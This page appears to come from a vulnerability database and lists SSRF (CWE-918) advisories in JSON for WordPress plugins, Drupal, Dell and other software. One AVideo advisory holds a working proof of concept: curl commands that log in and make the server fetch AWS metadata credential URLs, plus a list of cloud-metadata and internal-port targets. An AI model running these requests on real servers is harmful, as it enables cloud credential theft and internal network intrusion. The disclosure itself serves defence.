CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4689 vulnerabilities reference this CWE, most recent first.
GHSA-65PX-3FQ7-92H3
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 18:30Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenAI Provider allows Server Side Request Forgery. This issue affects OpenAI Provider versions: from 0.0.0 to 1.1.1, from 1.2.0 to 1.2.2.
{
"affected": [],
"aliases": [
"CVE-2026-13233"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T22:16:39Z",
"severity": "CRITICAL"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenAI Provider allows Server Side Request Forgery. This issue affects OpenAI Provider versions: from 0.0.0 to 1.1.1, from 1.2.0 to 1.2.2.",
"id": "GHSA-65px-3fq7-92h3",
"modified": "2026-07-13T18:30:33Z",
"published": "2026-07-11T00:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13233"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-053"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-65R5-237M-62HM
Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31Cost Calculator Builder Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to 3.1.72, via the send_demo_webhook() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-4789"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T09:15:45Z",
"severity": "MODERATE"
},
"details": "Cost Calculator Builder Pro plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to 3.1.72, via the send_demo_webhook() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-65r5-237m-62hm",
"modified": "2024-05-17T09:31:03Z",
"published": "2024-05-17T09:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4789"
},
{
"type": "WEB",
"url": "https://stylemixthemes.com/cost-calculator-plugin"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6840350-7ff4-4ec2-bf2b-94ce6f782537?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6669-Q2H5-85Q9
Vulnerability from github – Published: 2022-03-19 00:01 – Updated: 2022-03-26 00:00An issue was discovered in Pascom Cloud Phone System before 7.20.x. A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
{
"affected": [],
"aliases": [
"CVE-2021-45967"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-18T05:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Pascom Cloud Phone System before 7.20.x. A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.",
"id": "GHSA-6669-q2h5-85q9",
"modified": "2022-03-26T00:00:49Z",
"published": "2022-03-19T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45967"
},
{
"type": "WEB",
"url": "https://kerbit.io/research/read/blog/4"
},
{
"type": "WEB",
"url": "https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html"
},
{
"type": "WEB",
"url": "https://www.pascom.net/doc/en/release-notes"
},
{
"type": "WEB",
"url": "https://www.pascom.net/doc/en/release-notes/pascom19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-669Q-763P-5X4X
Vulnerability from github – Published: 2025-01-07 12:31 – Updated: 2026-04-01 18:33Server-Side Request Forgery (SSRF) vulnerability in Tips and Tricks HQ Compact WP Audio Player allows Server Side Request Forgery.This issue affects Compact WP Audio Player: from n/a through 1.9.14.
{
"affected": [],
"aliases": [
"CVE-2024-56279"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T11:15:09Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Tips and Tricks HQ Compact WP Audio Player allows Server Side Request Forgery.This issue affects Compact WP Audio Player: from n/a through 1.9.14.",
"id": "GHSA-669q-763p-5x4x",
"modified": "2026-04-01T18:33:01Z",
"published": "2025-01-07T12:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56279"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/compact-wp-audio-player/vulnerability/wordpress-compact-wp-audio-player-plugin-1-9-14-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-66C8-9R5R-35HF
Vulnerability from github – Published: 2024-04-22 21:31 – Updated: 2024-07-03 18:36An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.
{
"affected": [],
"aliases": [
"CVE-2024-32407"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-22T19:15:46Z",
"severity": "HIGH"
},
"details": "An issue in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Page Sandbox feature.",
"id": "GHSA-66c8-9r5r-35hf",
"modified": "2024-07-03T18:36:31Z",
"published": "2024-04-22T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32407"
},
{
"type": "WEB",
"url": "https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2024040049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-66CW-H2MJ-J39P
Vulnerability from github – Published: 2026-03-19 17:12 – Updated: 2026-03-25 18:34Summary
The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.
Details
When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:
plugin/BulkEmbed/save.json.php:68-105
foreach ($_POST['itemsToSave'] as $value) {
foreach ($value as $key => $value2) {
$value[$key] = xss_esc($value2); // HTML entity encoding — irrelevant for SSRF
}
// ...
$poster = Video::getPathToFile("{$paths['filename']}.jpg");
$thumbs = $value['thumbs']; // ← attacker-controlled URL
if (!empty($thumbs)) {
$contentThumbs = url_get_contents($thumbs); // ← fetched without SSRF check
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs); // ← response saved to disk
}
}
// ...
$videos->setStatus('a'); // ← video set to active, thumbnail publicly accessible
The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.
All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:
- plugin/Scheduler/Scheduler.php
- plugin/LiveLinks/proxy.php (two call sites)
- plugin/AI/receiveAsync.json.php
- objects/aVideoEncoder.json.php
- objects/aVideoEncoderReceiveImage.json.php
BulkEmbed is the only URL-fetching endpoint that was not hardened.
This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.
PoC
Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.
Step 1: Authenticate and obtain session cookie
COOKIE=$(curl -s -c - "http://avideo.local/user" \
-d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')
Step 2: Send BulkEmbed save request with internal URL as thumbnail
curl -s -b "PHPSESSID=$COOKIE" \
"http://avideo.local/plugin/BulkEmbed/save.json.php" \
-d "itemsToSave[0][title]=SSRF+Test" \
-d "itemsToSave[0][description]=test" \
-d "itemsToSave[0][duration]=PT1M" \
-d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "itemsToSave[0][date]="
Expected response:
{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}
Step 3: Retrieve the SSRF response from the saved thumbnail
# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"
The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.
Cloud metadata example targets:
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names
- http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials
- http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)
- http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata
Internal network scanning:
- http://10.0.0.1:8080/ — probe internal services
- http://localhost:3306/ — probe local database ports
Impact
- Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
- Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
- Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
- Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.
Recommended Fix
Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:
$thumbs = $value['thumbs'];
if (!empty($thumbs)) {
if (!isSSRFSafeURL($thumbs)) {
_error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
continue;
}
$contentThumbs = url_get_contents($thumbs);
if (!empty($contentThumbs)) {
make_path($poster);
$bytes = file_put_contents($poster, $contentThumbs);
_error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
} else {
_error_log("ERROR thumbs={$thumbs} poster=$poster");
}
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33294"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:12:13Z",
"nvd_published_at": "2026-03-22T17:17:09Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe BulkEmbed plugin\u0027s save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.\n\n## Details\n\nWhen saving bulk-embedded videos, user-supplied thumbnail URLs from `$_POST[\u0027itemsToSave\u0027][x][\u0027thumbs\u0027]` flow directly into `url_get_contents()` with no SSRF validation:\n\n**`plugin/BulkEmbed/save.json.php:68-105`**\n```php\nforeach ($_POST[\u0027itemsToSave\u0027] as $value) {\n foreach ($value as $key =\u003e $value2) {\n $value[$key] = xss_esc($value2); // HTML entity encoding \u2014 irrelevant for SSRF\n }\n // ...\n $poster = Video::getPathToFile(\"{$paths[\u0027filename\u0027]}.jpg\");\n $thumbs = $value[\u0027thumbs\u0027]; // \u2190 attacker-controlled URL\n if (!empty($thumbs)) {\n $contentThumbs = url_get_contents($thumbs); // \u2190 fetched without SSRF check\n if (!empty($contentThumbs)) {\n make_path($poster);\n $bytes = file_put_contents($poster, $contentThumbs); // \u2190 response saved to disk\n }\n }\n // ...\n $videos-\u003esetStatus(\u0027a\u0027); // \u2190 video set to active, thumbnail publicly accessible\n```\n\nThe `url_get_contents()` function internally calls `isValidURLOrPath()` which only validates URL format (scheme, host presence) \u2014 it does **not** block requests to private IPs, localhost, or cloud metadata endpoints.\n\n**All other URL-fetching endpoints are protected.** The `isSSRFSafeURL()` function is called in:\n- `plugin/Scheduler/Scheduler.php`\n- `plugin/LiveLinks/proxy.php` (two call sites)\n- `plugin/AI/receiveAsync.json.php`\n- `objects/aVideoEncoder.json.php`\n- `objects/aVideoEncoderReceiveImage.json.php`\n\nBulkEmbed is the only URL-fetching endpoint that was not hardened.\n\n**This is a full-read SSRF**, not blind \u2014 the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.\n\n## PoC\n\n**Prerequisites:** Authenticated session with BulkEmbed permission. The `onlyAdminCanBulkEmbed` option defaults to `true` (line 41 of `BulkEmbed.php`), but is commonly disabled for multi-user platforms.\n\n**Step 1: Authenticate and obtain session cookie**\n\n```bash\nCOOKIE=$(curl -s -c - \"http://avideo.local/user\" \\\n -d \"user=testuser\u0026pass=testpass\u0026redirectUri=/\" | grep PHPSESSID | awk \u0027{print $NF}\u0027)\n```\n\n**Step 2: Send BulkEmbed save request with internal URL as thumbnail**\n\n```bash\ncurl -s -b \"PHPSESSID=$COOKIE\" \\\n \"http://avideo.local/plugin/BulkEmbed/save.json.php\" \\\n -d \"itemsToSave[0][title]=SSRF+Test\" \\\n -d \"itemsToSave[0][description]=test\" \\\n -d \"itemsToSave[0][duration]=PT1M\" \\\n -d \"itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n -d \"itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/\" \\\n -d \"itemsToSave[0][date]=\"\n```\n\n**Expected response:**\n\n```json\n{\"error\":false,\"msg\":[{\"video\":{...},\"value\":{...},\"videos_id\":123}],\"playListId\":0}\n```\n\n**Step 3: Retrieve the SSRF response from the saved thumbnail**\n\n```bash\n# Extract the filename from the response, then fetch the poster image\ncurl -s \"http://avideo.local/videos/{filename}.jpg\"\n```\n\nThe content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.\n\n**Cloud metadata example targets:**\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/` \u2014 AWS IAM role names\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}` \u2014 temporary AWS credentials\n- `http://metadata.google.internal/computeMetadata/v1/` \u2014 GCP metadata (requires header, may not work)\n- `http://169.254.169.254/metadata/instance?api-version=2021-02-01` \u2014 Azure instance metadata\n\n**Internal network scanning:**\n- `http://10.0.0.1:8080/` \u2014 probe internal services\n- `http://localhost:3306/` \u2014 probe local database ports\n\n## Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).\n- **Internal network reconnaissance:** Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.\n- **Internal service data exfiltration:** Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.\n- **Scope change:** The attack crosses security boundaries \u2014 from the web application into the internal network/cloud infrastructure, which is a different trust zone.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before the `url_get_contents()` call in `plugin/BulkEmbed/save.json.php`, consistent with all other URL-fetching endpoints:\n\n```php\n $thumbs = $value[\u0027thumbs\u0027];\n if (!empty($thumbs)) {\n if (!isSSRFSafeURL($thumbs)) {\n _error_log(\"BulkEmbed: SSRF protection blocked thumbnail URL: \" . $thumbs);\n continue;\n }\n $contentThumbs = url_get_contents($thumbs);\n if (!empty($contentThumbs)) {\n make_path($poster);\n $bytes = file_put_contents($poster, $contentThumbs);\n _error_log(\"thumbs={$thumbs} poster=$poster bytes=$bytes strlen=\" . strlen($contentThumbs));\n } else {\n _error_log(\"ERROR thumbs={$thumbs} poster=$poster\");\n }\n }\n```",
"id": "GHSA-66cw-h2mj-j39p",
"modified": "2026-03-25T18:34:10Z",
"published": "2026-03-19T17:12:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-66cw-h2mj-j39p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33294"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/4589a3a089baf4ea439481f5088b38a8aa9c82b6"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources"
}
GHSA-66H2-QPQM-V9F5
Vulnerability from github – Published: 2025-10-23 15:30 – Updated: 2025-10-23 15:30The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.1.0 via the 'feedzy_sanitize_feeds' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-11128"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-23T13:15:44Z",
"severity": "MODERATE"
},
"details": "The RSS Aggregator by Feedzy \u2013 Feed to Post, Autoblogging, News \u0026 YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.1.0 via the \u0027feedzy_sanitize_feeds\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query information from internal services.",
"id": "GHSA-66h2-qpqm-v9f5",
"modified": "2025-10-23T15:30:34Z",
"published": "2025-10-23T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11128"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/feedzy-rss-feeds/trunk/includes/gutenberg/feedzy-rss-feeds-gutenberg-block.php#L280"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/feedzy-rss-feeds/trunk/includes/gutenberg/feedzy-rss-feeds-gutenberg-block.php#L309"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/feedzy-rss-feeds/trunk/includes/gutenberg/feedzy-rss-feeds-gutenberg-block.php#L336"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/feedzy-rss-feeds/trunk/includes/gutenberg/feedzy-rss-feeds-gutenberg-block.php#L399"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3378828"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c33ec58f-3e83-425a-9f0f-5e529be15e05?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-66J9-WJFW-882M
Vulnerability from github – Published: 2025-07-23 03:32 – Updated: 2026-04-08 18:33The Featured Image Plus – Quick & Bulk Edit with Unsplash plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.4 via the fip_get_image_options() function. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-5818"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-23T03:15:24Z",
"severity": "MODERATE"
},
"details": "The Featured Image Plus \u2013 Quick \u0026 Bulk Edit with Unsplash plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.4 via the fip_get_image_options() function. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-66j9-wjfw-882m",
"modified": "2026-04-08T18:33:55Z",
"published": "2025-07-23T03:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5818"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/featured-image-plus/trunk/inc/admin/block-editor/block-editor-actions.php#L166"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3331831%40featured-image-plus\u0026new=3331831%40featured-image-plus\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6904f168-e06f-4f17-905b-a943a39dfbdb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-66M2-CVVQ-C3JF
Vulnerability from github – Published: 2026-04-29 06:33 – Updated: 2026-04-29 06:33Dell Disk Library for Mainframe, version(s) DLm 8700/2700 contain(s) a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.
{
"affected": [],
"aliases": [
"CVE-2026-23773"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-29T04:16:40Z",
"severity": "MODERATE"
},
"details": "Dell Disk Library for Mainframe, version(s) DLm 8700/2700 contain(s) a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.",
"id": "GHSA-66m2-cvvq-c3jf",
"modified": "2026-04-29T06:33:30Z",
"published": "2026-04-29T06:33:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23773"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000458131/dsa-2026-091-security-update-for-dell-disk-library-for-mainframe-vulnerabilities?lang=en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-66MC-JPPC-FM4M
Vulnerability from github – Published: 2025-04-30 21:31 – Updated: 2025-05-01 15:31A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface, which in specific conditions could potentially enable a remote unauthenticated attacker to cause the appliance to make requests to an unintended location.
{
"affected": [],
"aliases": [
"CVE-2025-2170"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-30T19:15:55Z",
"severity": "HIGH"
},
"details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface, which in specific conditions could potentially enable a remote unauthenticated attacker to cause the appliance to make requests to an unintended location.",
"id": "GHSA-66mc-jppc-fm4m",
"modified": "2025-05-01T15:31:39Z",
"published": "2025-04-30T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2170"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0008"
},
{
"type": "WEB",
"url": "http://10.210.34.9/vuln-detail/SNWLID-2025-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.